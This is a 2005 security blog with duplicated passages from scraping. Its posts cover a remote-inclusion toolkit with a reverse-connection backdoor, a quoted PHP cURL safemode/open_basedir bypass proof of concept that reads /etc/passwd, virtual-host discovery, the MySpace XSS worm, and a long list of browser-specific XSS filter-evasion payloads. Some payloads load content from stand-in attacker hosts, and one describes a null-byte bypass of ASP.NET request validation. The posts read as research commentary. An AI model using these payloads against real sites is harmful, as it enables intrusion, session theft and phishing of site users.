Xavier's Security Post
Monday, October 31, 2005
ritk updates to beta 0.2
this new release of ritk ("remote inclusion toolkit") contains cleaner syntax, some constants set for use in the reverse connection backdoor, and finally the addition of a method to exploit a weakness in PHP's safemode/open_basedir(). The vulnerability was disclosed by slythers@gmail.com and I thought it would be such a neat usage for remote inclusion penetration testing.
the variable to use ritk's new feature is &bypass=1, which currently supports the libcurl means of bypassing safemode/open_basedir. I am in the middle of research to expand the method; for it seems PHP's safemode/open_basedir system is quite flawed.
you can read its README file here ¶ 10/31/2005 07:33:00 AM 0 comments
the variable to use ritk's new feature is &bypass=1, which currently supports the libcurl means of bypassing safemode/open_basedir. I am in the middle of research to expand the method; for it seems PHP's safemode/open_basedir system is quite flawed.
you can read its README file here ¶ 10/31/2005 07:33:00 AM 0 comments
Thursday, October 27, 2005
discovering unknown vhosts
quick and straight to the point.. here are some methods I use to discover "unknown" virtual hosts hosted beside the target domain.
1) whois.sc's reverse ip lookup service
2) searchmee's ip-hunt
3) google.com + netcraft
there are tools out there that uses several different techniques (usually netcraft+google+other search engines) to find such information. ¶ 10/27/2005 06:30:00 AM 0 comments
1) whois.sc's reverse ip lookup service
this site actually offers a pretty cool tool in reversing vhosts on specific IP addresses. it offers to show the first three hosts listed for the target IP, and if you would like a more complete list then you'd have to pay ofcourse. the reason I use this service a lot is because it's actually pretty occurate. I've been able to bump into several vulnerable sites hosted on target boxes.
2) searchmee's ip-hunt
searchmee.com actually has a pretty cool tool that actually is able to show you some interesting results. it's able to show you virtual hosts that that have been found by it's search spider residing on a target IP (or range). it's results are all based on cache.
3) google.com + netcraft
a) google can be useful in virtual host enumeration by searching the engine with the target's ip address.
b) netcraft is as easy as you can get when determining possible virtual hosts to a target domain by using special queries into its little search textbox. read up its syntax from the site itself.
there are tools out there that uses several different techniques (usually netcraft+google+other search engines) to find such information. ¶ 10/27/2005 06:30:00 AM 0 comments
Tuesday, October 18, 2005
openbasedir / safemode bypass via GD / cURL
on Date: Mon, 17 Oct 2005 22:55:26 +0200 a post on Full Disclosure came through to my inbox. "PHP Safedir Restriction Bypass Vulnerabilities" was its title and my reaction was weeee! after reading through the post I realized the vulnerabilities do not affect the core of PHP, but two extensions. GD, and cURL. Exerpts from the post goes as follows:
I always wondered if such an attack was even possible, since I had an understanding that extensions are run under PHP's directives. But now this is interesting -- one has to wonder how many other PHP extensions are capable of bypassing safemode/openbasedir at this instant. ¶ 10/18/2005 05:38:00 PM 0 comments
...
curl openbasedir and safemode bypass.
POC:
<?php
mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch = curl_init("
file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd
");
$file=curl_exec($ch);
echo $file;
?>
I always wondered if such an attack was even possible, since I had an understanding that extensions are run under PHP's directives. But now this is interesting -- one has to wonder how many other PHP extensions are capable of bypassing safemode/openbasedir at this instant. ¶ 10/18/2005 05:38:00 PM 0 comments
Friday, October 14, 2005
The beginning of XSS worms
A MySpace user by the name of "Samy" figured out how to slip a XSS attack into a CSS tag. Thus, he was able to successfully exploit 1) a hole in myspace.com's coding, and 2) a large victim base. The attack doesn't seem to be executed by Firefox/Mozilla users, but IE/Opera/Safari and possibly other obscure browsers.
Instead of just stealing a few cookies belonging to victim users, he decided to try his luck at propagating the attack. In fact, he was not only able to have people add him automatically to their friends list, but also the XSS attack itself was written to the victims' own profile thus creating a worm. It spread to the hundreds, then to thousands, until it reached millions. After some time it was fixed up.
Here are some reading material to fill your interests:
http://www.betanews.com/article/CrossSite_Scripting_Worm_Hits_MySpace/1129232391
http://www.livejournal.com/community/evan_tech/150019.html (the code itself)
http://blog.outer-court.com/archive/2005-10-14-n81.html (an interview with the author) ¶ 10/14/2005 03:25:00 PM 0 comments
Instead of just stealing a few cookies belonging to victim users, he decided to try his luck at propagating the attack. In fact, he was not only able to have people add him automatically to their friends list, but also the XSS attack itself was written to the victims' own profile thus creating a worm. It spread to the hundreds, then to thousands, until it reached millions. After some time it was fixed up.
Here are some reading material to fill your interests:
http://www.betanews.com/article/CrossSite_Scripting_Worm_Hits_MySpace/1129232391
http://www.livejournal.com/community/evan_tech/150019.html (the code itself)
http://blog.outer-court.com/archive/2005-10-14-n81.html (an interview with the author) ¶ 10/14/2005 03:25:00 PM 0 comments
Wednesday, October 05, 2005
case in point #2
Cross Site Scripting (or XSS) can be used in some serious attacks. In fact XSS was a hot topic for debate when advisories started popping out, and some people didn't really _get_ the problems it could cause. Who thought client-side browsers could be so dangerous! of course, web browsers can't be blamed -- it's all part of the javascript engine.
I remember around that time security folks questioned the validity of XSS attacks, sites like www.cgisecurity.com (then, ran by a friend of mine zenomorph) started releasing very detailed attack examples using hex'd XSS injections, cookie stealing, and so on. People started getting the idea, and thus exploitation began!
Now fast forward from 2000ish, and we'll see that XSS attacks are still common and programmers are still making those same programming mistakes. But now, instead of just stealing sessions or cookies, it can be said that spammers and phishers are using XSS attacks to assist them. Phishers especially are using XSS holes recently found on sites like eBay, and PayPal, to assist them in tricking users of said sites into giving up login credentials -- in the form of redirections, or loading of evil remote site javascript files.
I'd like to showcase some interesting evasion techniques I've found in the wild. Some of them I found on my own, others come from RSnake's awesome research into XSS attacks.
I found that there are a lot of different XSS techniques for different browsers. The reason why the techniques work on one or most web browsers, instead of all, is because of coding practices behind the web browsers. The developers decided to follow protocol, or not, or just disabled features.
Lets look at the obvious XSS that works universally:
"><script>alert("xss")</script><!--
It's a basic XSS attack, in fact it adds a few features like closing any preciding tags, and commenting the superceding site code. It also works on all browsers because it's basic javascript -- it follows protocol. However even the most basic of filtering systems (or server configurations) may use functions like addslashes() which I've seen in a lot of cases.
So, how would one be able to evade the addslashes() function and still be able to execute across most to all browsers? using the iframe feature. The following is an example:
"><iframe src=http://www.attacker.com></iframe>
The iframe injection XSS technique actually passes through addslashes() safely because there are no null bytes, single or double quotes in it.
If the target site has no filtering, but you need to target only a specific group of users -- by browser, then you can use the following examples:
I've noticed the last example works amazingly well in many oddball situations. I found it on RSnake's site, and think it's pretty cool. It works on the three mentioned browsers and who knows how many others. I also see that it has the potential to bypass many badly coded filtering systems out there. addslashes() kills it, due to the quotes, though.
Recently I discovered an odd occurance with ASP.NET servers. As some may know, ASP.NET does filtering on incoming variables for all sorts of attacks; XSS in my case. Once I attempted to inject any sort of XSS attack it errored and displayed a message about the danger potential the arbitrary code may have. So, by playing with a null byte, and new line feeds I was able not only to inject a XSS attack but also bypass ASP.NET's security mechanism. The following are screen shots of the attack:
First, we see the reaction the server had to my injection:
Now the following screen shot references a sophisticated XSS attack. I figured out that if I entered a null byte (%00) after a valid page ID integer (27 in this case, or whatever really) I could inject a new line feed(%0a), alert(), another newline and finally set a null variable to fix the Javascript code I broke while injecting my XSS attack in the first place. And voila, a neat XSS attack! Now, here's the odd part -- if I removed the null byte from the equasion the entire attack becomes unsuccessful.
Now, the attack on this target site became successful because of several reasons. 1) the developer outputs the page ID in a javascript evaluation. and 2) ASP.NET allows null byte's and other hex'd ascii representation to be executed.
Until next time! ¶ 10/05/2005 02:10:00 AM 0 comments
I remember around that time security folks questioned the validity of XSS attacks, sites like www.cgisecurity.com (then, ran by a friend of mine zenomorph) started releasing very detailed attack examples using hex'd XSS injections, cookie stealing, and so on. People started getting the idea, and thus exploitation began!
Now fast forward from 2000ish, and we'll see that XSS attacks are still common and programmers are still making those same programming mistakes. But now, instead of just stealing sessions or cookies, it can be said that spammers and phishers are using XSS attacks to assist them. Phishers especially are using XSS holes recently found on sites like eBay, and PayPal, to assist them in tricking users of said sites into giving up login credentials -- in the form of redirections, or loading of evil remote site javascript files.
I'd like to showcase some interesting evasion techniques I've found in the wild. Some of them I found on my own, others come from RSnake's awesome research into XSS attacks.
I found that there are a lot of different XSS techniques for different browsers. The reason why the techniques work on one or most web browsers, instead of all, is because of coding practices behind the web browsers. The developers decided to follow protocol, or not, or just disabled features.
Lets look at the obvious XSS that works universally:
"><script>alert("xss")</script><!--
It's a basic XSS attack, in fact it adds a few features like closing any preciding tags, and commenting the superceding site code. It also works on all browsers because it's basic javascript -- it follows protocol. However even the most basic of filtering systems (or server configurations) may use functions like addslashes() which I've seen in a lot of cases.
So, how would one be able to evade the addslashes() function and still be able to execute across most to all browsers? using the iframe feature. The following is an example:
"><iframe src=http://www.attacker.com></iframe>
The iframe injection XSS technique actually passes through addslashes() safely because there are no null bytes, single or double quotes in it.
If the target site has no filtering, but you need to target only a specific group of users -- by browser, then you can use the following examples:
Opera:
I've noticed this following XSS attack is only executed automatically by the Opera web browser, while Internet Explorer and Firefox do not do so:
<IMG SRC=javascript:alert("XSS")>
Internet Explorer:
Here are only a few examples of _many_ that execute only in Internet Explorer:
<IMG SRC="jav ascript:alert('XSS');">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>
Firefox:
I've noticed that Firefox doesn't really have many or any Firefox-specific XSS attacks.
Internet Explorer and Opera:
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC=" javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<TABLE BACKGROUND="javascript:alert('XSS')">
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}
Internet Explorer and Firefox:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
Internet Explorer, Firefox, and Opera:
<IFRAME SRC="javascript:alert('XSS');">
<SCRIPT>document.write("PT SRC="http://YOUR-SERVER.tld/a.js">
I've noticed the last example works amazingly well in many oddball situations. I found it on RSnake's site, and think it's pretty cool. It works on the three mentioned browsers and who knows how many others. I also see that it has the potential to bypass many badly coded filtering systems out there. addslashes() kills it, due to the quotes, though.
Recently I discovered an odd occurance with ASP.NET servers. As some may know, ASP.NET does filtering on incoming variables for all sorts of attacks; XSS in my case. Once I attempted to inject any sort of XSS attack it errored and displayed a message about the danger potential the arbitrary code may have. So, by playing with a null byte, and new line feeds I was able not only to inject a XSS attack but also bypass ASP.NET's security mechanism. The following are screen shots of the attack:
First, we see the reaction the server had to my injection:
Now the following screen shot references a sophisticated XSS attack. I figured out that if I entered a null byte (%00) after a valid page ID integer (27 in this case, or whatever really) I could inject a new line feed(%0a), alert(), another newline and finally set a null variable to fix the Javascript code I broke while injecting my XSS attack in the first place. And voila, a neat XSS attack! Now, here's the odd part -- if I removed the null byte from the equasion the entire attack becomes unsuccessful.
Now, the attack on this target site became successful because of several reasons. 1) the developer outputs the page ID in a javascript evaluation. and 2) ASP.NET allows null byte's and other hex'd ascii representation to be executed.
Until next time! ¶ 10/05/2005 02:10:00 AM 0 comments